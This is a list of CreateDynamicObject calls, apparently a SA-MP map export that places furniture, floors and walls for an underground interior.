CreateDynamicObject(2742, 2609.43042, -1480.52808, -48.60370,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(2742, 2609.43042, -1482.34863, -48.60370,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(1789, 2609.24829, -1492.59570, -49.35120,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(1789, 2609.24463, -1510.89917, -49.35120,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(2185, 2598.71509, -1529.34131, -46.23660,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2185, 2598.69971, -1531.77185, -46.23660,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2185, 2604.92847, -1529.39124, -46.23660,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2185, 2604.92847, -1534.41040, -46.23660,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2180, 2604.58057, -1526.72522, -46.23660,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(2185, 2604.92847, -1531.84851, -46.23660,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2185, 2602.97461, -1534.41040, -46.23660,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2185, 2602.97461, -1529.39294, -46.23660,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2844, 2594.80347, -1475.47400, -49.29630,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(2843, 2593.65186, -1483.94617, -49.27650,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2852, 2599.43823, -1483.13098, -49.91600,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2855, 2593.16162, -1474.95178, -49.91580,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1789, 2593.90356, -1529.38184, -49.35120,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1369, 2583.47314, -1535.81604, -49.31600,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(3072, 2582.31519, -1540.82629, -49.71390,   0.00000, 90.00000, 90.00000);
CreateDynamicObject(2852, 2590.54321, -1541.08350, -49.91600,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2635, 2590.40771, -1535.82129, -49.51590,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2819, 2591.74268, -1536.52283, -49.91670,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(2844, 2583.94360, -1538.20215, -49.91626,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2671, 2586.97827, -1535.93213, -49.89690,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(1810, 2580.68408, -1536.78333, -49.91660,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1810, 2588.70215, -1541.01331, -49.91660,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(1810, 2591.71729, -1536.16455, -49.91660,   0.00000, 0.00000, -100.00000);
CreateDynamicObject(1713, 2600.71387, -1508.91553, -46.28670,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2010, 2578.33032, -1475.01855, -49.90100,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2010, 2589.80762, -1475.05420, -49.90100,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2010, 2589.81470, -1483.41736, -49.90100,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2010, 2580.66528, -1483.34033, -49.90100,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1721, 2584.48218, -1474.54224, -49.90590,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(1721, 2585.08569, -1474.54224, -49.90590,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(1721, 2585.70093, -1474.54224, -49.90590,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(1721, 2586.31104, -1474.54224, -49.90590,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(1721, 2586.93262, -1474.54224, -49.90590,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(1721, 2587.53809, -1474.54224, -49.90590,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(1721, 2587.53809, -1478.06799, -49.90590,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(1721, 2586.93262, -1478.06799, -49.90590,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(1721, 2586.31104, -1478.06799, -49.90590,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(1721, 2585.70093, -1478.06799, -49.90590,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(1721, 2585.08569, -1478.06799, -49.90590,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(1721, 2584.48218, -1478.06799, -49.90590,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(1721, 2583.87866, -1478.06799, -49.90590,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(1721, 2587.53809, -1477.80798, -49.90590,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1721, 2586.93262, -1477.80798, -49.90590,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1721, 2586.31104, -1477.80798, -49.90590,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1721, 2585.70093, -1477.80798, -49.90590,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1721, 2585.08569, -1477.80798, -49.90590,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1721, 2584.48218, -1477.80798, -49.90590,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1721, 2583.87866, -1477.80798, -49.90590,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1721, 2577.85864, -1477.00391, -49.90590,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(1721, 2577.85864, -1477.61597, -49.90590,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(1721, 2577.85864, -1478.22400, -49.90590,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(1721, 2577.85864, -1478.83960, -49.90590,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(1721, 2577.85864, -1479.44983, -49.90590,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(1721, 2577.85864, -1480.05359, -49.90590,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(1721, 2577.85864, -1480.66565, -49.90590,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(19173, 2577.74170, -1478.78918, -47.34280,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1721, 2568.24292, -1488.48950, -49.90590,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(1721, 2568.25806, -1489.10095, -49.90590,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(1721, 2572.55347, -1487.33875, -49.90590,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(1721, 2573.16187, -1487.34607, -49.90590,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(1721, 2573.76978, -1487.35364, -49.90590,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(1721, 2577.89258, -1487.38855, -49.90590,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(1721, 2578.49341, -1487.37585, -49.90590,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(1721, 2579.09424, -1487.36316, -49.90590,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(1721, 2585.25098, -1489.48145, -49.90590,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1721, 2585.25098, -1490.08191, -49.90590,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1810, 2580.52197, -1492.96436, -49.91660,   0.00000, 0.00000, 190.00000);
CreateDynamicObject(1810, 2575.77637, -1492.75854, -49.91660,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(1810, 2570.69043, -1492.83032, -49.91660,   0.00000, 0.00000, 160.00000);
CreateDynamicObject(1363, 2569.69702, -1494.92078, -49.08421,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2000, 2586.11768, -1494.39185, -49.91420,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(2000, 2586.11768, -1493.86658, -49.91420,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(2000, 2605.48438, -1518.76184, -49.91420,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2000, 2605.00439, -1518.75061, -49.91420,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2615, 2588.26880, -1487.28296, -48.52640,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2615, 2574.38354, -1518.93274, -48.44710,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2615, 2601.38721, -1538.09265, -44.93370,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2184, 2599.55859, -1512.51917, -46.25660,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2852, 2582.84888, -1527.43164, -46.24090,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2852, 2572.39941, -1501.08386, -46.24090,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(2852, 2568.61255, -1497.22864, -46.24090,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(2855, 2577.09937, -1505.96021, -46.24090,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2819, 2582.33325, -1527.63440, -46.24090,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(2844, 2586.07373, -1526.79089, -46.24090,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(1810, 2573.23657, -1503.49475, -46.24090,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(1810, 2585.36938, -1526.96338, -46.24090,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(2165, 2605.77905, -1493.67004, -49.91700,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2165, 2605.81689, -1491.15540, -49.91700,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2183, 2601.35352, -1493.96692, -49.91700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1806, 2598.38501, -1488.60022, -49.91704,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1806, 2600.89673, -1502.00037, -49.91700,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(1806, 2603.20557, -1502.23035, -49.91700,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(1806, 2598.52271, -1502.08582, -49.91700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1806, 2598.15820, -1500.15710, -49.91700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1806, 2605.02002, -1502.13989, -49.91700,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(1806, 2604.91797, -1495.18140, -49.91700,   0.00000, 0.00000, 190.00000);
CreateDynamicObject(1806, 2605.14307, -1492.21313, -49.91700,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(1806, 2605.41919, -1490.08899, -49.91700,   0.00000, 0.00000, 160.00000);
CreateDynamicObject(1806, 2601.67261, -1497.34338, -49.91700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1806, 2602.03223, -1491.72705, -49.91700,   0.00000, 0.00000, 100.00000);
CreateDynamicObject(1806, 2601.80176, -1495.71045, -49.91700,   0.00000, 0.00000, 100.00000);
CreateDynamicObject(1806, 2601.73486, -1493.26978, -49.91700,   0.00000, 0.00000, 80.00000);
CreateDynamicObject(1806, 2599.17505, -1491.63220, -49.91700,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(1806, 2599.11133, -1497.35950, -49.91700,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(1806, 2599.21216, -1493.34729, -49.91700,   0.00000, 0.00000, -80.00000);
CreateDynamicObject(1806, 2599.11914, -1494.95374, -49.91700,   0.00000, 0.00000, -860.00000);
CreateDynamicObject(2202, 2597.38647, -1497.29321, -49.91860,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(2202, 2605.84692, -1501.26392, -46.25660,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(2202, 2604.26831, -1537.74451, -46.25660,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2635, 2601.48755, -1515.65649, -45.81770,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2199, 2599.06812, -1509.67236, -46.25660,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1742, 2597.60156, -1509.65869, -46.25660,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2611, 2602.52026, -1509.70483, -44.87059,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1714, 2600.68555, -1510.39087, -46.21650,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2635, 2600.59888, -1515.65698, -45.81770,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2635, 2599.71069, -1515.65796, -45.81770,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2635, 2599.71240, -1516.58228, -45.81770,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2635, 2599.71802, -1517.51526, -45.81770,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2635, 2599.71387, -1518.43994, -45.81770,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2635, 2599.71118, -1519.36511, -45.81770,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2635, 2599.70850, -1520.29028, -45.81770,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2635, 2600.58838, -1520.28259, -45.81770,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2635, 2601.47729, -1520.28918, -45.81770,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2635, 2601.47974, -1519.36768, -45.81770,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2635, 2601.47559, -1518.44104, -45.81770,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2635, 2601.47559, -1517.51526, -45.81770,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2635, 2601.47559, -1516.58228, -45.81770,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2635, 2600.59888, -1516.58228, -45.81770,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2635, 2600.59888, -1517.51526, -45.81770,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2635, 2600.59888, -1518.43994, -45.81770,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2635, 2600.59888, -1519.36511, -45.81770,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1806, 2601.18921, -1521.74365, -46.23790,   0.00000, 0.00000, 10.00000);
CreateDynamicObject(1806, 2604.15088, -1530.79492, -46.23790,   0.00000, 0.00000, 15.00000);
CreateDynamicObject(1806, 2604.09448, -1535.74048, -46.23790,   0.00000, 0.00000, 15.00000);
CreateDynamicObject(1806, 2603.93750, -1533.27576, -46.23790,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1806, 2602.18140, -1530.70654, -46.23790,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1806, 2601.81592, -1535.80945, -46.23790,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1806, 2602.22144, -1533.18469, -46.23790,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1806, 2598.36084, -1530.76440, -46.23790,   0.00000, 0.00000, 15.00000);
CreateDynamicObject(1806, 2597.86426, -1533.26538, -46.23790,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1806, 2599.85864, -1521.53955, -46.23790,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1806, 2602.92407, -1518.60632, -46.23790,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1806, 2602.81445, -1516.00598, -46.23790,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1806, 2602.81958, -1517.30981, -46.23790,   0.00000, 0.00000, 100.00000);
CreateDynamicObject(1806, 2602.77197, -1520.11450, -46.23790,   0.00000, 0.00000, 80.00000);
CreateDynamicObject(1806, 2598.47681, -1517.20923, -46.23790,   0.00000, 0.00000, 270.00000);
CreateDynamicObject(1806, 2598.59570, -1520.40613, -46.23790,   0.00000, 0.00000, 290.00000);
CreateDynamicObject(1806, 2598.32495, -1515.85583, -46.23790,   0.00000, 0.00000, 260.00000);
CreateDynamicObject(1806, 2598.46143, -1518.56140, -46.23790,   0.00000, 0.00000, 270.00000);
CreateDynamicObject(2894, 2600.37036, -1512.12280, -45.48580,   0.00000, 0.00000, -10.00000);
CreateDynamicObject(2894, 2603.79810, -1504.21948, -45.32550,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(2894, 2598.10400, -1529.46814, -45.42781,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2894, 2604.37891, -1531.95337, -45.43073,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2894, 2602.46851, -1534.55371, -45.43033,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2001, 2597.29370, -1500.36682, -46.23613,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2001, 2605.67236, -1500.43628, -46.23713,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2001, 2605.86353, -1509.00757, -46.23719,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2001, 2597.51782, -1509.20056, -46.23853,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2245, 2597.29150, -1501.55530, -45.10540,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2252, 2600.58569, -1519.09448, -45.10540,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2252, 2600.63550, -1516.62964, -45.10540,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2253, 2601.65112, -1512.40173, -45.12540,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2894, 2600.86157, -1526.71851, -45.48580,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2008, 2605.73901, -1512.52026, -49.91470,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(2009, 2598.35034, -1518.66821, -49.91380,   0.00000, 0.00000, 18090.00000);
CreateDynamicObject(1806, 2598.55957, -1517.70276, -49.91330,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1806, 2604.53857, -1513.04248, -49.91330,   0.00000, 0.00000, -120.00000);
CreateDynamicObject(1999, 2597.33716, -1516.68750, -49.91330,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1806, 2598.66626, -1515.95056, -49.91330,   0.00000, 0.00000, 80.00000);
CreateDynamicObject(1806, 2601.09863, -1529.57886, -49.91330,   0.00000, 0.00000, 170.00000);
CreateDynamicObject(1806, 2599.12573, -1529.55432, -49.91330,   0.00000, 0.00000, 210.00000);
CreateDynamicObject(2635, 2599.46484, -1532.53149, -49.53300,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2635, 2600.33936, -1532.53198, -49.53300,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2635, 2599.46265, -1533.45850, -49.53300,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2635, 2600.34717, -1533.46289, -49.53300,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2635, 2601.21802, -1533.46277, -49.53300,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2635, 2601.22827, -1532.52905, -49.53300,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19457, 2601.50391, -1535.96143, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1806, 2602.64160, -1532.93860, -49.91330,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1806, 2597.96924, -1532.92883, -49.91330,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(1808, 2606.14307, -1532.02734, -49.91390,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(2611, 2606.21655, -1534.06055, -48.50110,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(2615, 2596.87427, -1534.12744, -48.26969,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(2604, 2598.77588, -1523.37158, -49.16039,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1742, 2606.38892, -1527.54590, -49.91400,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(2894, 2601.38232, -1533.00220, -49.09920,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(2245, 2600.28979, -1532.98804, -48.92830,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1806, 2599.87769, -1524.60071, -49.91330,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2008, 2601.19189, -1523.51062, -49.91369,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1806, 2602.09302, -1524.65088, -49.91330,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2289, 2602.73682, -1530.51477, -48.19218,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2287, 2597.32715, -1528.70410, -48.49450,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19173, 2606.26440, -1505.40930, -44.33310,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19174, 2604.31934, -1516.84656, -44.20910,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(19377, 2570.48438, -1536.98816, -46.32280,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2609.05151, -1495.01025, -46.32280,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2588.26196, -1491.91650, -46.32280,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2577.76514, -1491.91650, -46.32280,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2567.30249, -1491.85706, -46.32280,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2609.04883, -1485.38208, -46.32280,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2609.05371, -1475.81421, -46.32280,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2598.59033, -1485.25952, -46.32280,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2598.60522, -1475.78210, -46.32280,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2588.22559, -1482.30920, -46.32280,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2577.75000, -1482.28381, -46.32280,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2567.30493, -1482.27686, -46.32280,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2588.32837, -1472.82227, -46.32280,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2577.97363, -1472.76172, -46.32280,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2567.49756, -1472.73145, -46.32280,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2573.06641, -1501.30261, -43.14140,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2583.55322, -1501.27698, -43.14140,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2593.98682, -1501.26221, -43.14140,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2604.46899, -1501.23511, -43.14140,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2573.21289, -1510.93457, -43.14140,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2573.19482, -1520.48315, -43.14140,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2573.17261, -1530.09070, -43.14140,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2604.78564, -1539.13416, -43.14140,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2594.33789, -1539.16272, -43.14140,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2583.61108, -1527.38879, -43.14140,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2583.59595, -1517.81982, -43.14140,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2583.57471, -1508.38232, -43.14100,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2594.01123, -1510.68335, -43.14100,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2604.43481, -1510.66492, -43.14100,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2593.84204, -1520.25879, -43.14100,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2593.91895, -1529.78552, -43.14100,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2604.27930, -1520.22876, -43.14100,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2604.24341, -1529.55286, -43.14100,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(16779, 2573.03149, -1480.88623, -46.41247,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(16779, 2583.56738, -1479.21240, -46.41266,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(16779, 2602.03760, -1504.97571, -43.23161,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(16779, 2600.71997, -1519.15662, -43.23109,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(16779, 2600.74341, -1513.91467, -43.23240,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(14680, 2597.88989, -1481.67188, -48.01162,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(14680, 2607.06226, -1479.55444, -48.01160,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(14680, 2587.03491, -1483.66406, -48.01160,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(14680, 2606.71167, -1483.48694, -48.01160,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(14680, 2594.33618, -1494.36743, -48.01160,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(14680, 2590.17407, -1494.06519, -48.01160,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(14680, 2602.65259, -1530.03674, -44.77839,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(14680, 2602.65381, -1536.29956, -44.77840,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(14680, 2594.78369, -1517.27771, -44.77840,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(14680, 2594.73267, -1510.18250, -44.77840,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(14680, 2576.17236, -1487.53223, -48.01160,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(14680, 2580.87866, -1487.46729, -48.01160,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(14680, 2580.84375, -1492.36255, -48.01160,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(14680, 2576.27808, -1492.71997, -48.01160,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(14680, 2573.37939, -1539.67676, -48.01160,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(14680, 2578.07520, -1539.60449, -48.01160,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(14680, 2585.70508, -1536.43091, -48.01160,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(14680, 2591.81128, -1536.13403, -48.01160,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(14680, 2587.90649, -1531.57642, -48.01160,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(14680, 2596.62573, -1538.75452, -48.01160,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(14680, 2596.89502, -1525.88184, -48.01160,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(14680, 2596.87769, -1517.50830, -48.01160,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(14680, 2596.88208, -1508.79663, -48.01160,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(14680, 2602.65771, -1516.59473, -48.01160,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(14680, 2603.02002, -1529.10193, -48.01160,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(14680, 2603.24658, -1535.49536, -48.01160,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(14680, 2602.77759, -1501.35938, -48.01160,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(14680, 2602.91504, -1494.98413, -48.01160,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(14680, 2609.90112, -1492.45386, -48.01160,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(14680, 2597.30737, -1483.54065, -48.01160,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(14680, 2597.30737, -1483.54065, -48.01160,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(14680, 2610.06348, -1504.14380, -48.01160,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(14680, 2609.78418, -1530.53442, -48.01160,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(14680, 2609.78125, -1516.39758, -48.01160,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(14680, 2603.16992, -1542.31421, -44.77840,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(14680, 2596.68042, -1535.33899, -44.77840,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(14438, 2582.89795, -1509.68689, -41.55914,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(14680, 2574.86792, -1527.99976, -44.85020,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2615, 2591.48560, -1501.63916, -44.87640,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2604, 2596.16553, -1503.93079, -45.48770,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(14685, 2569.72339, -1541.74365, -49.17550,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(14686, 2569.99048, -1539.16528, -49.49780,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(19430, 2569.26294, -1541.66345, -49.19740,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19394, 2595.02148, -1495.94958, -44.64560,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19365, 2596.73291, -1495.08789, -44.64560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19365, 2579.09326, -1496.64905, -44.66560,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19365, 2595.20044, -1493.53894, -44.64560,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19457, 2588.92554, -1490.47449, -44.64560,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19365, 2593.66895, -1492.01538, -44.64560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19457, 2579.29199, -1490.47449, -44.64560,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19457, 2574.54614, -1491.76636, -44.64560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1494, 2595.76807, -1495.93347, -46.39760,   0.00000, 0.00000, 180.00000);
